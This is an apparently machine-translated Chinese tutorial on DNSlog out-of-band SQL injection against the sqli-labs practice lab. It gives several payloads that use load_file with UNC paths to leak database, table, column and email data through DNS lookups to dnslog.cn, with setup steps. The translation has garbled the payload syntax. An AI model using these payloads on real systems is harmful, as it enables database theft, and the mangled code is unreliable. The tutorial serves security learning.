DNSlog注入测试

技术DNSlog注入测试 DNSlog注入测试之前提到的时间盲注,虽然用途比较广泛,但其查询耗时较长;且盲注都需要发送大量请求,容易被WAF拦截。
此时,我们就要用到DNSlog注入——一个可以以较少的

DNSlog注射试验。

前面提到的时间盲注虽然应用广泛,但其查询耗时较长;而且盲注需要发送大量请求,容易被WAF拦截。

此时,我们将使用DNSlog injection ——,这是一种可以用更少的访问快速获取信息的注入方法。

(但是,它对服务器有一些额外的要求;这里的DNSlog注入只有在相关权限打开且服务器系统为windows时才能执行。)

(BUUOJ,那个sql-lab是不行的。)

请勿在校园网上进行此测试!

准备工作:

1.DNS:一个可用的本地DNS服务器。

这里用的是http://www.dnslog.cn/。

获取子域后,验证您可以使用:

输入网址:http://test.z2v67d.dnslog.cn/,

证明DNS服务器工作正常。

二、SQL:检查权限字段。

如果是这样,那也行;如果没有,转到相关的ini文件并删除第三个值。

三.复制:

以SQL-Labless-9为例。我们过去常常盲目地用时间来注释这个话题。

payloads:

id=-1 ' andif((selectload _ file(concat(' \ \ ',(selectdatabase())limit 0,1), z2v67d.dnslog.cn\\abc ')),1,0) -

id=-1 ' andif((selectload _ file(concat(' \ \ '),(selecthex(group _ concat(table _ name))from information _ schema . table where table _ schema=database()), z2v67d.dnslog.cn\\abc ')),1,0) -

id=-1 ' andif((selectload _ file(concat(' \ \ '),(selecthex(group _ concat(column _ name))from information _ schema . columns hweretable _ schema=database())和table_name='emails '), z2v67d.dnslog.cn\\abc ')),1,0) -

id=-1 ' andif((selectload _ file(concat(' \ \ '),(selecthex((email _ id))from email slimit1,1), z2v67d.dnslog.cn\\abc ')),1,0) -

DNS服务器记录:

解码:

第四,心路历程。

意识到之前对DNS一无所知,所以花了很长时间看原理(现在还是有点晕)。

在实现的过程中,有两个主要障碍:

(1)加载文件

你需要给它添加一个绝对路径。例如:选择load _ file(' d :/wamp 64/www/sqli-labs-php7-master/Less-1/result . txt ');

测试时,需要使用UNC网络路径。

格式:\\servername\sharename,其中servername是服务器名称。Sharename是共享资源的名称。

目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\ \ servername \ sharename \ directory \ filename。

eg : select load _ file(' \ \ \ \ load file test . z2v 67d . dnslog . cn \ \ ABC ');

双反斜杠用于处理转义。

(2)检查数据库的内容。

(如果查询成功,页面将有几秒钟的刷新延迟;可以用来快速判断查询的成败(是否类似于时间盲)。

内容来源网络,如有侵权,联系删除,本文地址:https://www.230890.com/zhan/62066.html

(0)

相关推荐

  • LINQ表达式树的示例分析

    技术LINQ表达式树的示例分析小编给大家分享一下LINQ表达式树的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!using Syste

    攻略 2021年11月23日
  • 第一次国内革命战争时期,第一次革命和第二次革命时间

    技术第一次国内革命战争时期,第一次革命和第二次革命时间第一次工业革命的时间:18世纪60年代~19世纪40年代第一次国内革命战争时期。第二次工业革命的时间:19世纪60年代后期。
    第一次工业革命极大地提高了生产力,巩固了

    生活 2021年10月25日
  • Vue中怎么使用计算属性

    技术Vue中怎么使用计算属性这期内容当中小编将会给大家带来有关Vue中怎么使用计算属性,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。下面带大家了解一下Vue计算属性,介绍一下Vue计算

    攻略 2021年12月3日
  • 如何搭建动态IP池

    技术如何搭建动态IP池本篇文章给大家分享的是有关如何搭建动态IP池,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。DynamicIP是指在需要时分配IP地址的

    攻略 2021年11月4日
  • 2021CSP-S题解,待补)

    技术2021CSP-S题解,待补) 2021CSP-S题解(待补)T1:
    这次最大的失误就是误判T1不可做...
    因为每架飞机只要有空闲的廊桥就可以就可以停靠,以此可以推出一个结论:当廊桥数量增加时,已

    礼包 2021年10月26日
  • 美国服务器如何选择合适服务商

    技术美国服务器如何选择合适服务商对于博客作者和小型网站而言,为其网站提供合适的网络服务器非常重要。这是为了确保他们的网站随时能够访问。各种各样的供应商这为购买者提供了足够的灵活性来做出正确的选择。然而,如何选择合适的服务

    礼包 2021年10月26日